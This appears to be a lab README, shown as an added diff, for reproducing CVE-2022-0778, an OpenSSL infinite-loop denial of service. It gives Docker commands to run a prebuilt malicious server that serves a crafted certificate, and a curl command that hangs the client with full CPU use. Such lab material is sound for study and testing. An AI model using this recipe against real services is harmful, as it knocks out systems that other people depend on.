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+# OpenSSL Infinite Loop Leads to DoS (CVE-2022-0778)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+OpenSSL is a software library for applications that secure communications over computer networks against eavesdropping or need to identify the party at the other end.
+
+A flaw was found in OpenSSL. It is possible to trigger an infinite loop by crafting a certificate that has invalid elliptic curve parameters. Since certificate parsing happens before verification of the certificate signature, any process that parses an externally supplied certificate may be subject to a denial of service attack.
+
+Reference links:
+
+- <https://github.com/drago-96/CVE-2022-0778>
+- <https://www.cnblogs.com/logchen/p/16030515.html>
+- <https://catbro666.github.io/posts/83951100/>
+- <https://github.com/yywing/cve-2022-0778>
+
+## Vulnerability environment
+
+Execute following command to start a server:
+
+```
+docker compose up -d
+```
+
+## Reproduce vulnerability
+
+Firstly, use [this project](https://github.com/vulhub/cve-2022-0778) to build and run an evil server. If you don't have the Golang compiler, just use the Docker image:
+
+```
+docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
+```
+
+Then you can monitor the CPU usage inside the container through `top`:
+
+```
+docker compose exec curl top
+```
+
+This vulnerability is available when parsing the certificate, so we can use the cURL to demonstrate it.
+
+Entry the environment, and use the cURL to browse the evil server that started before:
+
+```
+docker compose exec curl bash
+curl -k https://host.docker.internal:12345
+```
+
+At this point, cURL will be caught in an infinite loop, and CPU resources will be exhausted unexpectedly:
+
+![](1.png)